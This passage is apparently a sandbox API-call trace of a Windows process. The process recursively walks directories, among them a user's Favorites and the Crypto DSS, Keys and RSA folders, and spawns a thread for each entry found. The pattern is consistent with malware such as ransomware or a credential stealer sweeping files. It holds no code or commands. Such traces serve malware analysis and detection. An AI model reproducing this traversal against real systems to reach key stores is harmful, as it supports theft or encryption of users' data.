(HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd616a0 [0101.334] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86a90 [0101.585] wcscmp (_String1=".", _String2=".") returned 0 [0101.585] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.585] wcscmp (_String1="..", _String2=".") returned 1 [0101.585] wcscmp (_String1="..", _String2="..") returned 0 [0101.585] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0101.585] wcscmp (_String1="Get Windows Live.url", _String2=".") returned 1 [0101.585] wcscmp (_String1="Get Windows Live.url", _String2="..") returned 1 [0101.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b1910 [0101.585] wcscpy (in: _Dest=0x202b1910, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0101.585] wcscat (in: _Dest=0x202b1910, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0101.585] wcscat (in: _Dest=0x202b1910, _Source="Get Windows Live.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" [0127.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e8 [0127.101] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0127.101] wcscmp (_String1="Windows Live Gallery.url", _String2=".") returned 1 [0127.101] wcscmp (_String1="Windows Live Gallery.url", _String2="..") returned 1 [0127.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b862670 [0127.101] wcscpy (in: _Dest=0x1b862670, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0127.101] wcscat (in: _Dest=0x1b862670, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0127.101] wcscat (in: _Dest=0x1b862670, _Source="Windows Live Gallery.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" [0127.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948 [0127.102] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0127.102] wcscmp (_String1="Windows Live Mail.url", _String2=".") returned 1 [0127.102] wcscmp (_String1="Windows Live Mail.url", _String2="..") returned 1 [0127.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad7a0 [0127.102] wcscpy (in: _Dest=0x1b7ad7a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0127.102] wcscat (in: _Dest=0x1b7ad7a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0127.102] wcscat (in: _Dest=0x1b7ad7a0, _Source="Windows Live Mail.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" [0127.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad7a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd38 [0127.103] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0127.103] wcscmp (_String1="Windows Live Spaces.url", _String2=".") returned 1 [0127.103] wcscmp (_String1="Windows Live Spaces.url", _String2="..") returned 1 [0127.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862250 [0127.103] wcscpy (in: _Dest=0x1b862250, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0127.103] wcscat (in: _Dest=0x1b862250, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0127.103] wcscat (in: _Dest=0x1b862250, _Source="Windows Live Spaces.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" [0127.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0127.104] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd616a0 | out: lpFindFileData=0x1cd616a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0127.104] FindClose (in: hFindFile=0x1cd86a90 | out: hFindFile=0x1cd86a90) returned 1 [0127.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd616a0) returned 1 [0127.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a0c0) returned 1 [0127.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868640) returned 1 Thread: id = 969 os_tid = 0x15cc [0101.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b858eb0 [0101.337] wcscpy (in: _Dest=0x1b858eb0, _Source="C:\\Users\\All Users\\Microsoft\\Assistance" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance") returned="C:\\Users\\All Users\\Microsoft\\Assistance" [0101.337] wcscat (in: _Dest=0x1b858eb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\" [0101.337] wcscat (in: _Dest=0x1b858eb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\*") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\*" [0101.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60a70 [0101.337] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\*", lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8593f0 [0101.338] wcscmp (_String1=".", _String2=".") returned 0 [0101.338] FindNextFileW (in: hFindFile=0x1b8593f0, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.338] wcscmp (_String1="..", _String2=".") returned 1 [0101.338] wcscmp (_String1="..", _String2="..") returned 0 [0101.338] FindNextFileW (in: hFindFile=0x1b8593f0, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0101.338] wcscmp (_String1="Client", _String2=".") returned 1 [0101.338] wcscmp (_String1="Client", _String2="..") returned 1 [0101.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1e20 [0101.338] wcscpy (in: _Dest=0x1b7c1e20, _Source="C:\\Users\\All Users\\Microsoft\\Assistance" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance") returned="C:\\Users\\All Users\\Microsoft\\Assistance" [0101.338] wcscat (in: _Dest=0x1b7c1e20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\" [0101.338] wcscat (in: _Dest=0x1b7c1e20, _Source="Client" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Assistance\\Client") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client" [0152.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe0 [0152.348] FindNextFileW (in: hFindFile=0x1b8593f0, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 0 [0152.349] FindClose (in: hFindFile=0x1b8593f0 | out: hFindFile=0x1b8593f0) returned 1 [0152.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60a70) returned 1 [0152.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858eb0) returned 1 [0152.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9caf0) returned 1 Thread: id = 970 os_tid = 0x15d0 [0101.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b8584f0 [0101.340] wcscpy (in: _Dest=0x1b8584f0, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0101.340] wcscat (in: _Dest=0x1b8584f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0101.340] wcscat (in: _Dest=0x1b8584f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\*" [0101.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62540 [0101.340] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*", lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859150 [0101.340] wcscmp (_String1=".", _String2=".") returned 0 [0101.340] FindNextFileW (in: hFindFile=0x1b859150, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.340] wcscmp (_String1="..", _String2=".") returned 1 [0101.340] wcscmp (_String1="..", _String2="..") returned 0 [0101.340] FindNextFileW (in: hFindFile=0x1b859150, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0101.340] wcscmp (_String1="DSS", _String2=".") returned 1 [0101.340] wcscmp (_String1="DSS", _String2="..") returned 1 [0101.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b8591b0 [0101.341] wcscpy (in: _Dest=0x1b8591b0, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0101.341] wcscat (in: _Dest=0x1b8591b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0101.341] wcscat (in: _Dest=0x1b8591b0, _Source="DSS" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" [0127.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8591b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168c [0127.063] FindNextFileW (in: hFindFile=0x1b859150, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0127.063] wcscmp (_String1="Keys", _String2=".") returned 1 [0127.063] wcscmp (_String1="Keys", _String2="..") returned 1 [0127.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858df0 [0127.064] wcscpy (in: _Dest=0x1b858df0, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0127.064] wcscat (in: _Dest=0x1b858df0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0127.064] wcscat (in: _Dest=0x1b858df0, _Source="Keys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" [0127.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0127.065] FindNextFileW (in: hFindFile=0x1b859150, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0127.065] wcscmp (_String1="RSA", _String2=".") returned 1 [0127.065] wcscmp (_String1="RSA", _String2="..") returned 1 [0127.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b858c10 [0127.065] wcscpy (in: _Dest=0x1b858c10, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0127.065] wcscat (in: _Dest=0x1b858c10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0127.065] wcscat (in: _Dest=0x1b858c10, _Source="RSA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" [0127.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0127.066] FindNextFileW (in: hFindFile=0x1b859150, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0127.066] FindClose (in: hFindFile=0x1b859150 | out: hFindFile=0x1b859150) returned 1 [0127.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62540) returned 1 [0127.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8584f0) returned 1 [0127.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 Thread: id = 971 os_tid = 0x15d4 [0101.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b858490 [0101.343] wcscpy (in: _Dest=0x1b858490, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0101.343] wcscat (in: _Dest=0x1b858490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\" [0101.343] wcscat (in: _Dest=0x1b858490, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\*" [0101.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60f50 [0101.343] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*", lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859090 [0101.343] wcscmp (_String1=".", _String2=".") returned 0 [0101.343] FindNextFileW (in: hFindFile=0x1b859090, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.343] wcscmp (_String1="..", _String2=".") returned 1 [0101.343] wcscmp (_String1="..", _String2="..") returned 0 [0101.344] FindNextFileW (in: hFindFile=0x1b859090, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0101.344] wcscmp (_String1="Device", _String2=".") returned 1 [0101.344] wcscmp (_String1="Device", _String2="..") returned 1 [0101.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2130 [0101.344] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0101.344] wcscat (in: _Dest=0x1b7c2130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\" [0101.344] wcscat (in: _Dest=0x1b7c2130, _Source="Device" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" [0129.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c2130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1698 [0129.910] FindNextFileW (in: hFindFile=0x1b859090, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0129.910] wcscmp (_String1="Task", _String2=".") returned 1 [0129.910] wcscmp (_String1="Task", _String2="..") returned 1 [0129.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1c60 [0129.911] wcscpy (in: _Dest=0x1b7c1c60, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage" | out: 